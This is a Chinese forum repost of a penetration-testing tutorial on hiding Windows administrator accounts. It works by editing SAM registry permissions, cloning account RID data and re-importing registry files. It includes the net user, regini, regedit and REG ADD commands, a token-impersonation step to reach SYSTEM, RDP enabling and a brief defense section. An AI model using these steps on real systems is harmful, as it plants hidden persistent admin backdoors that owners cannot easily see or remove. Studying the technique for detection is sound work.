HACK80 首页  立即注册  登录
现在注册
已注册用户请  登录
HACK80    技术文档

渗透技巧——Windows系统的帐户隐藏

  •   EvilGod ·2017-12-7 17:20:27·405 次点击 ·阅读模式     

    马上注册,加入HACK80!与我们一起交流。

    您需要 登录 才可以下载或查看,没有帐号?立即注册

    x
    0x00 前言
    在之前的文章《渗透技巧——Windows系统远程桌面的多用户登录》介绍过Windows系统远程桌面的利用技巧,实现了非服务器版本Windows系统的多用户远程登录,而最近我和Evilcg一起研究了通过帐户克隆实现隐藏帐户的利用技巧。如果将二者结合,会有什么利用技巧呢,本文将会一一介绍。
    0x01 简介
    本文将要介绍以下内容:
    • 帐户隐藏的方法
    • 编写脚本实现思路
    • 结合远程桌面多用户登录的利用思路
    0x02 帐户隐藏的方法
    该方法在网上已有相关资料,本节只做简单复现
    测试系统:·Win7x86
    1、对注册表赋予权限默认注册表HKEY_LOCAL_MACHINE\SAM\SAM\只有system权限才能修改
    现在需要为其添加管理员权限
    右键-权限-选中Administrators,允许完全控制
    如下图

    重新启动注册表regedit.exe,获得对该键值的修改权限
    2、新建特殊帐户
    1. net user test$ 123456 /add
    2. net localgroup administrators test$ /add
    复制代码

    注:
    用户名要以$结尾
    添加后,该帐户可在一定条件下隐藏,输入net user无法获取,如下图

    但是,在控制面板能够发现该帐户
    如下图

    3、导出注册表在注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names下找到新建的帐户test$
    获取默认类型为0x3ea
    将注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\test$导出为1.reg
    在注册表下能够找到对应类型名称的注册表项HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EA
    如下图

    右键将该键导出为2.reg,保存的文件信息如下图

    默认情况下,管理员帐户Administrator对应的注册表键值为HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
    同样,右键将该键导出为3.reg
    将注册表项HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EA下键F的值替换为HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4下键F的值,即2.reg中键F的值替换成3.reg中键F的值
    替换后,如下图

    4、命令行删除特殊帐户
    1. net user test$ /del
    复制代码

    5、导入reg文件
    1. regedit /s 1.reg
    2. regedit /s 2.reg
    复制代码

    隐藏账户制做完成,控制面板不存在帐户test$
    通过net user无法列出该帐户
    计算机管理-本地用户和组-用户也无法列出该帐户
    但可通过如下方式查看:
    1. net user test$
    复制代码

    如下图

    无法通过net user test$ /del删除该用户,提示用户不属于此组,如下图

    删除方法:
    删除注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\下对应帐户的键值(共有两处)
    注:
    工具HideAdmin能自动实现以上的创建和删除操作
    0x03 编写脚本实现思路
    采用powershell脚本实现的两种思路:
    1、对注册表添加管理员帐户的编辑权限使用regini注册ini文件为注册表及其子键赋予权限
    注:
    Powershell通过Set-Acl为注册表赋予权限,示例代码:
    1. $acl = Get-Acl HKLM:SAM\SAM\
    2. $person = [System.Security.Principal.NTAccount]"Administrators"
    3. $access = [System.Security.AccessControl.RegistryRights]"FullControl"
    4. $inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
    5. $propagation = [System.Security.AccessControl.PropagationFlags]"NoPropagateInherit"
    6. $type = [System.Security.AccessControl.AccessControlType]"Allow"
    7. $rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
    8. $person,$access,$inheritance,$propagation,$type)
    9. $acl.ResetAccessRule($rule)
    10. Set-Acl HKLM:SAM\SAM\Domains\Account\Users\Names $acl
    复制代码

    但不支持对子键的权限分配,因此不采用该方法
    以下内容保存为a.ini:
    1. HKEY_LOCAL_MACHINE\SAM\SAM\* [1 17]
    复制代码

    注:
    *代表枚举所有子键
    1代表Administrators 完全访问
    17代表System 完全访问
    详细权限说明可通过cmd执行regini获取帮助,如下图

    通过regini注册:
    1. regini  a.ini
    复制代码

    Evilcg就是通过这种方式实现的,脚本地址:
    https://github.com/Ridter/Pentes ... ll/Create-Clone.ps1
    注:
    使用*需要system权限,但只把相关的列举出来,只需要管理员权限即可,例如:
    1. HKEY_LOCAL_MACHINE\SAM [1 17]
    2. HKEY_LOCAL_MACHINE\SAM\SAM [1 17]
    3. HKEY_LOCAL_MACHINE\SAM\SAM\Domains [1 17]
    4. HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account [1 17]
    5. HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users [1 17]
    6. HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names [1 17
    复制代码

    2、直接获得System权限我在之前的文章《渗透技巧——Token窃取与利用》介绍过通过token复制获得system权限的方法
    所以,可以先获得System权限,进而拥有对注册表的编辑权限
    简单的方式,通过Invoke-TokenManipulation.ps1,地址如下:
    https://github.com/PowerShellMaf ... kenManipulation.ps1
    但我在测试时发现了一个bug,使用Invoke-TokenManipulation -ImpersonateUser -Username "nt authority\system"无法将当前权限切换为System权限
    但可以使用Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system"新打开一个System权限的进程
    接下来,就是编写脚本实现注册表的导出替换功能:
    • 新建测试帐户
    • 将注册表导出到temp目录,进行替换
    • 删除特殊帐户
    • 导入注册表文件
    我的实现方法参照了Evilcg的最初始版本,做了细节上的优化,下载地址:
    https://github.com/3gstudent/Windows-User-Clone
    0x04 结合远程桌面多用户登录的利用思路
    通过以上的介绍,可得出该方法的优点:
    通过克隆的方式能够继承原帐户的权限
    在利用上存在以下需要注意的问题:
    1、复制管理员帐户Administrator需要注意管理员帐户是否被禁用,如果被禁用,那么克隆出的隐藏帐户也是被禁用状态
    2、复制已有帐户在3389远程登录的利用上存在相同帐户的冲突关系
    通过cmd开启本机的3389远程登录功能:
    1. REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
    2. REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f
    复制代码

    利用以上方法,克隆帐户a的权限,建立隐藏帐户aaa$
    如果系统当前登录帐号为a,那么使用隐藏帐户aaa$登录的话,会系统被识别为帐户a,导致帐户a下线
    3、新建帐户再复制进一步,大胆的思考
    新建管理员帐户b,克隆帐户b,建立隐藏账户bbb$
    删除管理员帐户b,隐藏账户bbb$仍然有效
    4、原帐户的维持再进一步
    克隆帐户a的权限,建立隐藏帐户aaa$
    修改帐户a的密码,隐藏帐户aaa$仍然有效
    0x05 防御
    针对隐藏帐户的利用,查看注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\即可
    当然,默认管理员权限无法查看,需要分配权限或是提升至Sytem权限
    隐藏帐户的登录记录,可通过查看日志获取
    0x06 小结
    本文介绍了隐藏帐户的相关利用技巧,如果应用于远程桌面的多用户登录,隐蔽性会大大提高,站在防御的角度,分享出该利用方法,帮助大家更好的认识和防御。




    405 次点击 · 1 人收藏  
    收藏  转播  分享
    添加一条新回复
    您需要登录后才可以回帖 登录 | 立即注册

    本节点积分规则
    QQ
    小黑屋   ·   手机版   ·   228 人在线 最高记录 5500   ·   TOP
    我们很年轻,但我们有信念、有梦想!

      我们坚信只有今天付出了,才有机会看到明天的太阳!现在!加入我们,给你一个气氛优秀的技术圈子。  
    GMT+8, 2018-7-23 06:25, Processed in 0.044996 second(s), 18 queries .